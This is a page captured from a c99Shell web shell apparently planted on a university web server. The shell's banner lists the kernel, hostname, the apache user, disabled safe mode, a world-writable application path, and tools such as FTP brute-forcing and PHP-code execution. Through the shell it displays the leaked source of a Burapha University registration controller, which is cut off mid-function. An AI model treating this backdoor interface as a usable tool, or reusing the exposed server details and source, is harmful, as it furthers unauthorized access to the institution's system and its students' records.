!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/controllers/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rg_controller.php (34.82 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * System in Educational Enterprise Resource Planning System
 *
 * LICENSE
 *
 * This source file is subject to the GPL license that is bundled
 * with this package in the file licence.txt.
 *
 * @package        System in Educational Enterprise Resource Planning System
 * @subpackage    Registration System
 * @copyright      Copyright (C) 2011 by Information System Engineering Research Labolatory, Burapha University
                http://iserl.buu.ac.th
                iserl.callcenter@gmail.com
 * @license        http://cvs.buu.ac.th/mis/license.php GNU GPL v1
 * @author         Information System Engineering Research Labolatory, Burapha University
 *
 *
 */
?>
<?php
ini_set
("display_errors"1);
require(
'application/controllers/my_controller.php');
class 
Rg_controller extends My_controller {
    public 
$contents;

    public function 
__construct() {
        
parent::__construct();
        
$this->db $this->load->database('rg'TRUE);
    }
    
    function 
output($v$blog='') {
/*
        if($this->session->userdata('logged_in')) {
            $data = '';
            if($this->session->userdata('sysinfo'))
                $data['mmn'] = $this->genMn();
            
            $mn['menu'] = $this->load->view('info/v_postlogin',$data,true);
        }
        else
            $mn['menu'] = $this->load->view('info/v_prelogin','',true);
*/
        
$this->load->model($this->config->item("ums_folder").'mo_crud','crud');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_config','cfg');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_acadconfig','ac');

        
$this->contents['oCRUD'] = $this->crud;

        
$qu_cfg $this->cfg->qryCfg();
        if(
$qu_cfg && $qu_cfg->num_rows()) {
            if(
$row $qu_cfg->row()) {
                
//$mn['system_logo'] = $row->cfgSiteLogo;
                
$mn['system_name'] = $row->cfgSiteName;
                
/*$mn['system_banner'] = $row->cfgSiteBanner;
                $mn['clgCode'] = $row->cfgCgCode;
                $mn['clgName'] = $row->cfgCgName;
                $mn['clgNameE'] = $row->cfgCgNameE;
                $mn['clgAddr'] = $row->cfgCgAddr;
                $mn['clgPhoneNo'] = $row->cfgCgPhoneNo;
                $mn['clgBankName'] = $row->cfgCgBankName;
                $mn['clgBankAccountName'] = $row->cfgCgBankAccountName;
                $mn['clgBankNo'] = $row->cfgCgBankNo;
                $mn['clgBankLogo'] = $row->cfgCgBankLogo;
                $mn['clgBankFee'] = $row->cfgCgBankFee;
                $mn['clgInstituteLogo'] = $row->cfgInstituteLogo;
                $mn['clgInstitute'] = $row->cfgInstitute;
                $mn['clgInstituteEng'] = $row->cfgInstituteEng;
                $mn['clgMinistry'] = $row->cfgMinistry;
                $mn['clgMinistryEng'] = $row->cfgMinistryEng;*/
                
$this->contents['table_color_even'] = $row->cfgBgClTrAndTd;
                
$this->contents['tr_color_even'] = $row->cfgBgClSwapTr;
                
$this->contents['font_color_table'] = $row->cfgFnClHeadTb;
                
$this->contents['font_color_err'] = $row->cfgFnClErrSpec;
            }
        } else {
            
$mn['system_name'] = '';
            
$this->contents['table_color_even'] = $this->config->item('rg_table_color2');
            
$this->contents['tr_color_even'] = $this->config->item('rg_line_color_even');
            
$this->contents['font_color_table'] = $this->config->item('rg_text_head_tb');
            
$this->contents['font_color_err'] = $this->config->item('rg_font_color_err');
        }

        
//$qu_ac = $this->ac->qryAc();
        
$qu_ac $this->ac->qryAcPrsIdRegistrarJoinPrs();
        if(
$qu_ac && $qu_ac->num_rows()) {
            if(
$row $qu_ac->row()) {
                
$this->contents['acExitExam'] = $row->acExitExam;
                
$this->contents['acNoLockT'] = $row->acNoLockT;
                
$this->contents['acCardExpiryDay'] = $row->acCardExpiryDay;
                
$this->contents['acCardExpiryMonth'] = $row->acCardExpiryMonth;
                
$this->contents['TSREGISTAR'] = $row->TSRegistrar;
                
$this->contents['DIRECTOR'] = $row->Director;
                
$this->contents['acPrsIdDirector'] = $row->acPrsIdDirector;
            }
        } else {
                
$this->contents['acExitExam'] = '';
                
$this->contents['acNoLockT'] = '';
                
$this->contents['acCardExpiryDay'] = '';
                
$this->contents['acCardExpiryMonth'] = '';
                
$this->contents['TSREGISTAR'] = '';
                
$this->contents['DIRECTOR'] = '';
                
$this->contents['acPrsIdDirector'] = '';
        }
        
        
/*$lv['head'] = $this->load->view($this->config->item("rg_folder").'v_header',$mn,true);
        $lv['body'] = $this->load->view($v,$this->contents,true);
        $lv['footer'] = $this->load->view('info/v_footer','',true);
        
        $this->load->view('info/v_in',$lv);*/

        
if($blog!='') {
            
$msg['blog'] = $blog;
            
$this->blog $this->load->view('info/v_blog',$msg,true);
        }

        
$this->body $this->load->view($this->config->item("rg_folder").'v_header_js',$this->contents,true);
        
$this->body .= $this->load->view($v,'',true);
        
$this->show();
    }

    function 
output_detail($v) {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_config','cfg');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_acadconfig','ac');
        
        
$qu_cfg $this->cfg->qryCfg();
        if(
$qu_cfg && $qu_cfg->num_rows()) {
            if(
$row $qu_cfg->row()) {
                
$this->contents['cfgSiteName'] = $row->cfgSiteName;
                
$this->contents['cfgClgLogo'] = $row->cfgClgLogo;
                
$this->contents['cfgClgCode'] = $row->cfgClgCode;
                
$this->contents['cfgClgName'] = $row->cfgClgName;
                
$this->contents['cfgClgAddr'] = $row->cfgClgAddr;
                
$this->contents['cfgClgPhoneNo'] = $row->cfgClgPhoneNo;
                
$this->contents['cfgClgBankName'] = $row->cfgClgBankName;
                
$this->contents['cfgClgBankAccountName'] = $row->cfgClgBankAccountName;
                
$this->contents['cfgClgBankNo'] = $row->cfgClgBankNo;
                
$this->contents['cfgClgBankLogo'] = $row->cfgClgBankLogo;
                
$this->contents['cfgClgBankFee'] = $row->cfgClgBankFee;
                
$this->contents['tr_color_even'] = $row->cfgBgClSwapTr;
                
$this->contents['font_color_table'] = $row->cfgFnClHeadTb;
                
$this->contents['font_color_err'] = $row->cfgFnClErrSpec;
                
$this->contents['table_color_even'] = $row->cfgBgClTrAndTd;
            }
        } else {
                
$this->contents['cfgSiteName'] = '';
                
$this->contents['cfgClgLogo'] = '';
                
$this->contents['cfgClgCode'] = '';
                
$this->contents['cfgClgName'] = '';
                
$this->contents['cfgClgAddr'] = '';
                
$this->contents['cfgClgPhoneNo'] = '';
                
$this->contents['cfgClgBankName'] = '';
                
$this->contents['cfgClgBankAccountName'] = '';
                
$this->contents['cfgClgBankNo'] = '';
                
$this->contents['cfgClgBankLogo'] = '';
                
$this->contents['cfgClgBankFee'] = '';
                
$this->contents['table_color_even'] = $this->config->item('rg_table_color2');
                
$this->contents['tr_color_even'] = $this->config->item('rg_line_color_even');
                
$this->contents['font_color_table'] = $this->config->item('rg_text_head_tb');
                
$this->contents['font_color_err'] = $this->config->item('rg_font_color_err');

        }

        
//$qu_ac = $this->ac->qryAc();
        
$qu_ac $this->ac->qryAcPrsIdRegistrarJoinPrs();
        if(
$qu_ac && $qu_ac->num_rows()) {
            if(
$row $qu_ac->row()) {
                
$this->contents['acCardExpiryDay'] = $row->acCardExpiryDay;
                
$this->contents['acCardExpiryMonth'] = $row->acCardExpiryMonth;
                
$this->contents['TSREGISTAR '] = $row->TSRegistrar;
                
$this->contents['DIRECTOR'] = $row->Director;
            }
        } else {
                
$this->contents['acCardExpiryDay'] = '';
                
$this->contents['acCardExpiryMonth'] = '';
                
$this->contents['TSREGISTAR '] = '';
                
$this->contents['DIRECTOR'] = '';
        }
        
        
$lv['head'] = $this->load->view($this->config->item("rg_folder").'v_header_js',$this->contents,true);
        
$lv['body'] = $this->load->view($v,'',true);
        
$lv['footer'] = "";
        
        
$this->load->view('info/v_in',$lv);
    }

    function 
output_pdf($v) {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_config','cfg');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_acadconfig','ac');
        
        
$qu_cfg $this->cfg->qryCfg();
        if(
$row $qu_cfg->row()) {
            
$this->contents['cfgSiteName'] = $row->cfgSiteName;
            
$this->contents['cfgClgLogo'] = $row->cfgClgLogo;
            
$this->contents['cfgClgName'] = $row->cfgClgName;
            
$this->contents['cfgClgNameE'] = $row->cfgClgNameE;
            
$this->contents['cfgClgAddr'] = $row->cfgClgAddr;
            
$this->contents['cfgInstituteLogo'] = $row->cfgInstituteLogo;
            
$this->contents['cfgInstitute'] = $row->cfgInstitute;
            
$this->contents['cfgInstituteE'] = $row->cfgInstituteE;
            
$this->contents['cfgMinistry'] = $row->cfgMinistry;
            
$this->contents['cfgMinistryE'] = $row->cfgMinistryE;
            
$this->contents['font_color_err'] = $row->cfgFnClErrSpec;
        }
        
        
//$qu_ac = $this->ac->qryAc();
        
$qu_ac $this->ac->qryAcPrsIdRegistrarJoinPrs();
        if(
$row $qu_ac->row()) {
            
$this->contents['acExitExam'] = $row->acExitExam;
            
$this->contents['acCardExpiryDay'] = $row->acCardExpiryDay;
            
$this->contents['acCardExpiryMonth'] = $row->acCardExpiryMonth;
            
$this->contents['TSREGISTAR'] = $row->TSRegistrar;
            
$this->contents['TSREGISTARE'] = $row->TSRegistrarE;
            
$this->contents['DIRECTOR'] = $row->Director;
            
$this->contents['DIRECTORE'] = $row->DirectorE;
            
$this->contents['acPrsIdDirector'] = $row->acPrsIdDirector;
        }

        
$lv['head'] = "";
        
$lv['body'] = $this->load->view($v,$this->contents,true);
        
$lv['footer'] = "";
        
        
$this->load->view('info/v_in',$lv);
    }

    function 
getExcelHeader () {
        
$msg "header('Content-type: application/ms-xls');";
        
$msg .= "header('Content-Disposition: attachment; filename=\"report.xls\"');";
        
        return 
$msg;
    }

    function 
getWordHeader () {
        
$msg "header('Content-type: application/msword');";
        
$msg .= "header('Content-Disposition: attachment; filename=\"report.doc\"');";
        
        return 
$msg;
    }

    function 
load_model($model_name){
        
$model $this->config->item("rg_folder").$model_name;
        echo 
$model.'<br>';
        
$this->load->model($model,'m');
        
$model =& $this->m;
        unset(
$this->m);
        return 
$model;
    }
    
    
/* start center callback function */
    
function checkselect($str){
        if (
$str == "" || $str == "0") {
            
$this->form_validation->set_message('checkselect','กรุณาเลือก%s');
            return 
false;
        }else return 
true;
    }
    
    function 
checkupload($str){
        
$this->form_validation->set_message('checkupload','%s');
        return 
false;
    }

    function 
checkAdY($str) {
        if(
$str=='') {
            
$this->form_validation->set_message('checkAdY','กรุณาป้อน%s');
            return 
false;
        } else if(
is_numeric($str)==false) {
            
$this->form_validation->set_message('checkAdY','%sต้องเป็นตัวเลขเท่านั้น');
            return 
false;
        } else if(
strlen($str)!=4) {
            
$this->form_validation->set_message('checkAdY','%sจะต้องเท่ากับ 4 หลัก');
            return 
false;
        } else if(
$str==0) {
            
$this->form_validation->set_message('checkAdY','%sจะต้องมากกว่า 0');
            return 
false;
        } else {
            return 
true;
        }
    }

    function 
checkAcY($str) {
        if(
$str=='') {
            
$this->form_validation->set_message('checkAcY','กรุณาป้อน%s');
            return 
false;
        } else if(
strlen($str)!=4) {
            
$this->form_validation->set_message('checkAcY','%sจะต้องเท่ากับ 4 หลัก');
            return 
false;
        } else if(
$str==0) {
            
$this->form_validation->set_message('checkAcY','%sจะต้องมากกว่า 0');
            return 
false;
        }

        if(
$str >= $this->input->post('adY')) {
            return 
true;
        } else {
            
$this->form_validation->set_message('checkAcY','%sจะต้องมากกว่าหรือเท่ากับปีการศึกษาที่เข้า');
            return 
false;
        }
    }
    
    function 
checkTmId($str) {
        if(
$str || $str 3) {
            
$this->form_validation->set_message('checkTmId','ภาคการศึกษาไม่ถูกต้อง');
            return 
false;
        } else {
            return 
true;
        }
    }

    function 
checkSyId($str) {
        if(
$str=='') {
            
$this->form_validation->set_message('checkSyId','กรุณาป้อน%s');
            return 
false;
        } else if(
$str || $str 4) {
            
$this->form_validation->set_message('checkSyId','ชั้นปีไม่ถูกต้อง');
            return 
false;
        } else {
            return 
true;
        }
    }

    function 
checkSy($str) {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
    
        
$con_qu_sy = array('syCode'    => $str);
        
$qu_sy $this->sy->qrySy($con_qu_sy,'','');

        if(
$qu_sy->num_rows()==0) {
            
$this->form_validation->set_message('checkSy','%sไม่ถูกต้อง');
            return 
false;
        } else
            return 
true;
    }

    function 
checkFrDate($str$field) {
        
$start_date splitDateForm2($str); 
        
$end_date splitDateForm2($this->input->post($field));

        if (
$start_date $end_date) { 
            
$this->form_validation->set_message('checkFrDate''%s ต้องน้อยกว่าหรือเท่ากับ วันที่สิ้นสุด'); return FALSE;
        } else { 
            return 
TRUE
        }
    }

    function 
checkInt($var) {
        
$str intval($var);

        if (
$str == '') {
            
$this->form_validation->set_message('checkInt','กรุณาป้อน%s');
            return 
false;
        } else if((
is_int($str) == false) || ($str <= 0)) {
            
$this->form_validation->set_message('checkInt','%sไม่ถูกต้อง');
            return 
false;
        } else {
            return 
true;
        }
    }

    function 
checkGPA($str) {
        if(
$str=='') {
            
$this->form_validation->set_message('checkGPA','กรุณาป้อน%s');
            return 
false;
        } else if(
$str || $str 4) {
            
$this->form_validation->set_message('checkGPA','%sไม่ถูกต้อง');
            return 
false;
        } else
            return 
true;
    }

    function 
checkSbeFrDate($str$field) {
        
$start_date splitDateForm2($str); 
        
$end_date splitDateForm2($this->input->post($field));

        if (
$start_date $end_date) { 
            
$this->form_validation->set_message('checkSbeFrDate''%s ต้องน้อยกว่าหรือเท่ากับ วันที่อนุมัติ'); return FALSE;
        } else { 
            return 
TRUE
        }
    }

    function 
checkBetweenDate($str) {
        
$frDate splitDateForm2($this->input->post('sabFrDate'),'-');
        
$toDate splitDateForm2($this->input->post('sabToDate'),'-');
        
$stdId $this->input->post('stdId');

        
$this->load->model($this->config->item("rg_folder").'mo_rg_studentabsent','sab');

        
$date $this->sab->qryBetWeenDateNotSabStdId($frDate,$toDate,$stdId);
        
        if(
$date->num_rows()) {
            
$this->form_validation->set_message('checkBetweenDate','%s คาบเกี่ยวกับวันลา/ขาดอื่น');
            return 
false;
        } else
            return 
true;
    }

    function 
checkBetweenDateSac($str) {
        
$frDate splitDateForm2($this->input->post('sacFrDate'),'-');
        
$toDate splitDateForm2($this->input->post('sacToDate'),'-');
        
$stdId $this->input->post('stdId');

        
$this->load->model($this->config->item("rg_folder").'mo_rg_studentactivity','sac');

        
$date $this->sac->qryBetweenDateNotSacStdId($frDate,$toDate,$stdId);
        
        if(
$date->num_rows()) {
            
$this->form_validation->set_message('checkBetweenDateSac','%s คาบเกี่ยวกับวันทำกิจกรรมอื่น');
            return 
false;
        } else
            return 
true;
    }

    
/* end center callback function */

    /**
     * @author    เปา
     * @package    ajax
     */

    
function get_studentBycur($curId=""){
        
$this->load->model($this->config->item('rg_folder').'mo_rg_student''std');

        
$std_con = array('stdCurId' => $curId);
        
$std_or = array('stdId' => 'stdId');
        
$rs_std =  $this->std->qryStdJoinPfCurGen($std_con,$std_or,'');
        
//echo $this->db->last_query();
        
header ('Content-type: text/html; charset=utf-8');
        
$i=0;
        echo 
"<table width='100%'>";
        echo 
"<tr bgcolor='#0066CC'>";
        echo 
"<td width='20%' align='center'><font size='2' color='#FFFFFF'><b>เลือก</b></font></td>";
        echo 
"<td width='25%' align='center'><font size='2' color='#FFFFFF'><b>รหัสนักศึกษา</b></font></td>";
        echo 
"<td width='55%' align='center'><font size='2' color='#FFFFFF'><b>ชื่อ-สกุลนักศึกษา</b></font></td>";
        echo 
"</tr>";
        if(
$rs_std->num_rows()){
            foreach(
$rs_std->result() as $row){
                echo 
"<tr>";
               echo 
"<td align='center'><font size='2'>".form_checkbox("ckb[$i]"$row->stdId, ($row->stdId)?  FALSE TRUE)."</font></td>";
               echo 
"<td><font size='2'>".$row->stdCode."</font></td>";
               echo 
"<td><font size='2'>".$row->stdName." ".$row->stdSurname."</font></td>";
                echo 
"</tr>";
                
$i++;
            }
        }else{
        echo 
"<tr>";
        echo 
"<td align='center' colspan='3'><font size='2' color='#FF0000'>** ไม่ปรากฏรายการดังกล่าวในฐานข้อมูล **</font></td>";
        echo 
"</tr>";
        }
        echo 
"<tr><td colspan='3'><input type='hidden' name='SyId' id='SyId' value='".$row->stdSyId."'><input type='hidden' name='num_std' id='num_std' value='".$i."'>";
        echo 
"</table>";

    }

    function 
forceAssess () {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_acadconfig','ac');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');

        
$stdCode $this->session->userdata('UsPsCode');
        
$acY_R $this->session->userdata('acY_R');
        
$tmId_R $this->session->userdata('tmId_R');

        
$qu_ac $this->ac->qryAc();
        if (
$qu_ac->num_rows()) {
            if (
$qu_ac->row()->acForceAssess == 'Y') {
                
$url $this->config->item('rg_forceAssess');
                
$arr['stdCode'] = $stdCode;
                
$arr['acY_R'] = $acY_R;
                
$arr['tmId_R'] = $tmId_R;

                
$con_qu_std = array('stdCode'    => $stdCode);
                
$qu_std $this->std->qryStd($con_qu_std);
                if (
$qu_std->num_rows()) {
                    
$arr['curId'] = $qu_std->row()->stdCurId;
                }

                
$ch curl_init();
                
curl_setopt($chCURLOPT_URL$url);
                
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
                
curl_setopt($chCURLOPT_POSTtrue);
                
curl_setopt($chCURLOPT_POSTFIELDS$arr);
                
$rs curl_exec($ch);//echo $rs;
                
curl_close($ch);
                
//$rs =1 = ไม่มีแบบประเมินค้าง
                
if (substr($rs,-1)=='0') {
                    
$msg "ไม่สามารถดำเนินการตรวจสอบจบได้<br />เนื่องจากประเมินไม่ครบทุกแบบประเมิน <br /><br />";
                    
/*$msg .= "<input type=\"submit\" name=\"doAssess\" value=\"ทำการประเมิน\" onClick=\"sendPost('myform', '', '".base_url()."eassess/student/startPageAss.php')\" />";
                    $msg .= "<meta http-equiv='refresh' content='10; URL=".base_url()."eassess/student/startPageAss.php'>";*/

                    
$this->session->set_flashdata('msg'$msg);
                    
redirect($this->config->item("rg_folder")."msg/err_msg");
                }
            }
        }

        return 
true;
    }


    
// *****************************
    // *****************************
    // *****************************
    // *****************************
    // ************GRADUATE*********
    // *****************************
    // *****************************
    // *****************************
    
function processExpectGDCur() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('curId',' ','callback_checkselect');
        
$this->form_validation->set_rules('curName',' ','trim|xss_clean');
        
$this->form_validation->set_rules('adY',' ','trim|required|xss_clean');
        
//$this->form_validation->set_rules('tmIdAdmit','','trim|xss_clean');
        //$this->form_validation->set_rules('syId','','trim|xss_clean');

        
if($this->form_validation->run() == true) {
            
$this->load->model($this->config->item("rg_folder").'mo_rg_acadconfig','ac');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_studentsummary','ssm');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_studentbehavior','sbe');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rd');

            
$curId $this->input->post('curId');
            
$adY $this->input->post('adY');
            
$acY $this->session->userdata('acY');
            
$tmId $this->session->userdata('tmId');

            
$qu_ac $this->ac->get_by_key();
            
$row_ac $qu_ac->row();

            
$cnt 0;
            
$con_rs_std = array('stdCurId'    => $curId,
                
'stdAdY'    => $adY,
                
'stdGenStatus'    => 'Y',
                
'stdSstId'    => '1',
                
'stdGraduateY'    => '0',
                
'stdGraduateDate'    => '0000-00-00'
            
);
            
$ord_rs_std = array('stdCode'     => 'ASC');
            
$rs_std $this->std->qryStd($con_rs_std$ord_rs_std);
            
            
$this->db->trans_begin();
            foreach (
$rs_std->result() as $row_std) {

                
$maxAcY $this->ssm->getMaxAcYByStdId($row_std->stdId);
                
$maxTmId $this->ssm->getMaxTmIdByStdIdAcY($row_std->stdId$maxAcY);

                
$this->cur->curId $curId;
                
$qu_cur $this->cur->get_by_key();
                
$row_cur $qu_cur->row();

                
$msgArr = array();
                
$flagChkCr $this->checkCredit($row_std->stdId$msgArr);

                if (
$flagChkCr && ($row_std->stdGPA >= $row_cur->curMinGPAX) && (intval($acY $row_std->stdAdY) <= $row_cur->curMaxStudyY) && ($row_std->stdCreditSatisfy >= $row_cur->curMinCredit) && ((($row_ac->acExitExam == 'Y') && (($row_std->stdExitExam == 'Y') || ($row_std->stdExitExam == 'P'))) || ($row_ac->acExitExam == 'N'))) {
                    
$this->std->stdId $row_std->stdId;
                    
$this->std->get_by_key(TRUE);

                    
$this->std->stdSstId 3;
                    
$this->std->stdUpdateUsLogin $this->session->userdata('UsLogin');
                    
$this->std->stdUpdateDate date('Y-m-d H:i:s');

                    
$this->ssm->ssmStdId $row_std->stdId;
                    
$this->ssm->ssmTmId $tmId;
                    
$this->ssm->ssmAcY $acY;
                    
$qu_ssm $this->ssm->get_by_key();
                    if (
$qu_ssm->num_rows() && ($acY == $maxAcY) && ($tmId == $maxTmId)) {
                        
$this->ssm->ssmStdId $row_std->stdId;
                        
$this->ssm->ssmTmId $tmId;
                        
$this->ssm->ssmAcY $acY;
                        
$this->ssm->get_by_key(TRUE);

                        
$this->ssm->ssmSstId 3;
                        
$this->ssm->ssmUpdateDate date('Y-m-d H:i:s');
                        
$this->ssm->ssmUpdateUserId $this->session->userdata('UsLogin');
                        
$this->ssm->update();
                    }

                    
// Honor
                    
$rs_sbe $this->sbe->qrySbeByStdIdGood($row_std->stdId);
                    
// DisciplineId < 2
                    
if ($rs_sbe->num_rows() == 0) {
                        
$rs_rd $this->rd->qryRdByStdIdGradeIsF($row_std->stdId);
                        
// No 'F'
                        
if ($rs_rd->num_rows() == 0) {
                            if (
$row_std->stdGPA >= $row_ac->acHonor1GPA) {
                                
$this->std->stdHonor 1;
                            } else if ((
$row_std->stdGPA >= $row_ac->acHonor2GPA) && ($row_std->stdGPA $row_ac->acHonor1GPA)) {
                                
$this->std->stdHonor 2;
                            }
                        }    
// end if no 'F'
                    
}    // end if good behavior

                    
$this->std->update();
                    
$cnt++;
                }    
// end if
            
}

            if (
$this->db->trans_status() === false) {
                
$this->db->trans_rollback();
            } else {
                
$this->db->trans_commit();
            }

            
$this->session->set_flashdata('success_msg'"<span class='error'><b>กระบวนการประมวลผลการสำเร็จการศึกษาสำเร็จ ".$cnt." คน !!<b/></span>");
            
redirect($this->config->item('rg_folder').'graduate/showExpectGDCur');
        } else {
            
$this->showExpectGDCur();
        }
    }

    function 
processExpectGD() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studentsummary','ssm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_acadconfig','ac');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studentbehavior','sbe');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rd');

        
$acY $this->session->userdata('acY');
        
$tmId $this->session->userdata('tmId');
        
$std $this->contents['std'];

        
$flagChkGr '';
        
$msg '';
        
$flagGPA 0;
        
$flagStY 0;
        
$flagCrTt 0;
        
$flagEE 0;
        
$flagGD 0;

        
$stdCode = ($std) ? $this->session->userdata('UsPsCode') : $this->input->post('stdCode');
        
$this->contents['stdCode'] = $stdCode;

        
$con_qu_std = array('stdCode'     => $stdCode,
                            
'stdSstId'    => 1,
                            
'stdGenStatus'    => 'Y');
        
$qu_std $this->std->qryStdJoinPfCurSySstElv($con_qu_std);
        if (
$qu_std->num_rows()) {
            
$this->contents['qu_std'] = $qu_std;
            
$row_std $qu_std->row();

            
$this->cur->curId $row_std->stdCurId;
            
$qu_cur $this->cur->get_by_key();
            
$this->contents['qu_cur'] = $qu_cur;
            
            
$flagCommit true;
            
$this->db->trans_begin();

            
$flagChkGr $this->checkGradeByStdId($row_std->stdId$msg);

            if (
$flagChkGr) {
                
$maxAcY $this->ssm->getMaxAcYByStdId($row_std->stdId);
                
$maxTmId $this->ssm->getMaxTmIdByStdIdAcY($row_std->stdId$maxAcY);

                
$this->cur->curId $row_std->stdCurId;
                
$this->cur->get_by_key(TRUE);

                
$msgArr = array();
                
$flagChkCr $this->checkCredit($row_std->stdId$msgArr);

                
// Credit PASS
                
if ($flagChkCr) {
                    
// GPA PASS
                    
if ($row_std->stdGPA >= $this->cur->curMinGPAX) {
                        
// StudyYear PASS
                        
if (intval($acY $row_std->stdAdY) <= $this->cur->curMaxStudyY) {
                            
// Total Credit PASS
                            
if ($row_std->stdCreditSatisfy >= $this->cur->curMinCredit) {
                                
$qu_ac $this->ac->get_by_key();
                                
$row_ac $qu_ac->row();

                                
// Exit-Exam active
                                
if ($row_ac->acExitExam == 'Y') {
                                    
// Exit-Exam PASS
                                    
if (($row_std->stdExitExam == 'Y') || ($row_std->stdExitExam == 'P')) {
                                        
$this->std->stdId $row_std->stdId;
                                        
$this->std->get_by_key(TRUE);

                                        
$this->std->stdSstId 3;
                                        
$this->std->stdUpdateUsLogin $this->session->userdata('UsLogin');
                                        
$this->std->stdUpdateDate date('Y-m-d H:i:s');

                                        
$this->ssm->ssmStdId $row_std->stdId;
                                        
$this->ssm->ssmTmId $tmId;
                                        
$this->ssm->ssmAcY $acY;
                                        
$qu_ssm $this->ssm->get_by_key();
                                        if (
$qu_ssm->num_rows() && ($acY == $maxAcY) && ($tmId == $maxTmId)) {
                                            
$this->ssm->ssmStdId $row_std->stdId;
                                            
$this->ssm->ssmTmId $tmId;
                                            
$this->ssm->ssmAcY $acY;
                                            
$this->ssm->get_by_key(TRUE);

                                            
$this->ssm->ssmSstId 3;
                                            
$this->ssm->ssmUpdateDate date('Y-m-d H:i:s');
                                            
$this->ssm->ssmUpdateUserId $this->session->userdata('UsLogin');
                                            
$this->ssm->update();
                                        } else {
                                            
$flagCommit false;
                                        }

                                        
// Honor
                                        
$rs_sbe $this->sbe->qrySbeByStdIdGood($row_std->stdId);
                                        
// DisciplineId < 2
                                        
if ($rs_sbe->num_rows() == 0) {
                                            
$rs_rd $this->rd->qryRdByStdIdGradeIsF($row_std->stdId);
                                            
// No 'F'
                                            
if ($rs_rd->num_rows() == 0) {
                                                if (
$row_std->stdGPA >= $row_ac->acHonor1GPA) {
                                                    
$this->std->stdHonor 1;
                                                } else if ((
$row_std->stdGPA >= $row_ac->acHonor2GPA) && ($row_std->stdGPA $row_ac->acHonor1GPA)) {
                                                    
$this->std->stdHonor 2;
                                                }
                                            }    
// end if no 'F'
                                        
}    // end if good behavior
                                        
$this->std->update();

                                        
$flagEE 1;
                                        
$flagGD = ($flagCommit) ? 0;
                                    }    
// end if exit-exam PASS
                                
} else {
                                    
$this->std->stdId $row_std->stdId;
                                    
$this->std->get_by_key(TRUE);

                                    
$this->std->stdSstId 3;
                                    
$this->std->stdUpdateUsLogin $this->session->userdata('UsLogin');
                                    
$this->std->stdUpdateDate date('Y-m-d H:i:s');

                                    
$this->ssm->ssmStdId $row_std->stdId;
                                    
$this->ssm->ssmTmId $tmId;
                                    
$this->ssm->ssmAcY $acY;
                                    
$qu_ssm $this->ssm->get_by_key();
                                    if (
$qu_ssm->num_rows() && ($acY == $maxAcY) && ($tmId == $maxTmId)) {
                                        
$this->ssm->ssmStdId $row_std->stdId;
                                        
$this->ssm->ssmTmId $tmId;
                                        
$this->ssm->ssmAcY $acY;
                                        
$this->ssm->get_by_key(TRUE);

                                        
$this->ssm->ssmSstId 3;
                                        
$this->ssm->ssmUpdateDate date('Y-m-d H:i:s');
                                        
$this->ssm->ssmUpdateUserId $this->session->userdata('UsLogin');
                                        
$this->ssm->update();
                                    } else {
                                        
$flagCommit false;
                                    }

                                    
// Honor
                                    
$rs_sbe $this->sbe->qrySbeByStdIdGood($row_std->stdId);
                                    
// DisciplineId < 2
                                    
if ($rs_sbe->num_rows() == 0) {
                                        
$rs_rd $this->rd->qryRdByStdIdGradeIsF($row_std->stdId);
                                        
// No 'F'
                                        
if ($rs_rd->num_rows() == 0) {
                                            if (
$row_std->stdGPA >= $row_ac->acHonor1GPA)
                                                
$this->std->stdHonor 1;
                                            else if ((
$row_std->stdGPA >= $row_ac->acHonor2GPA) && ($row_std->stdGPA $row_ac->acHonor1GPA))
                                                
$this->std->stdHonor 2;
                                        }    
// end if no 'F'
                                    
}    // end if good behavior
                                    
$this->std->update();

                                    
$flagGD = ($flagCommit) ? 0;
                                }    
// end if exit-exam active
                                
$flagCrTt 1;
                            }    
// end if total credit PASS
                            
$flagStY 1;
                        }    
// end if studyYear PASS
                        
$flagGPA 1;
                    }    
// end if GPA PASS
                
}    // end if credit PASS
            
}

            if (
$flagCommit) {
                
$this->db->trans_commit();
                
$this->contents['success_msg'] = "<font class='h' color=".$this->config->item('rg_font_color_true').">กระบวนการประมวลผลการสำเร็จการศึกษาสำเร็จ !!</font>";
            } else {
                
$this->db->trans_rollback();
                
$this->contents['success_msg'] = "<font class='h' color=".$this->config->item('rg_font_color_err').">กระบวนการประมวลผลการสำเร็จการศึกษาไม่สำเร็จ !!</font>";
            }    
// end if $flagCommit
        
} else {
            
$con_qu_std = array('stdCode'     => $stdCode,
                
'stdSstId'    => 3,
                
'stdGenStatus'    => 'Y'
            
);
            
$qu_std $this->std->qryStdJoinPfCurSySstElv($con_qu_std);
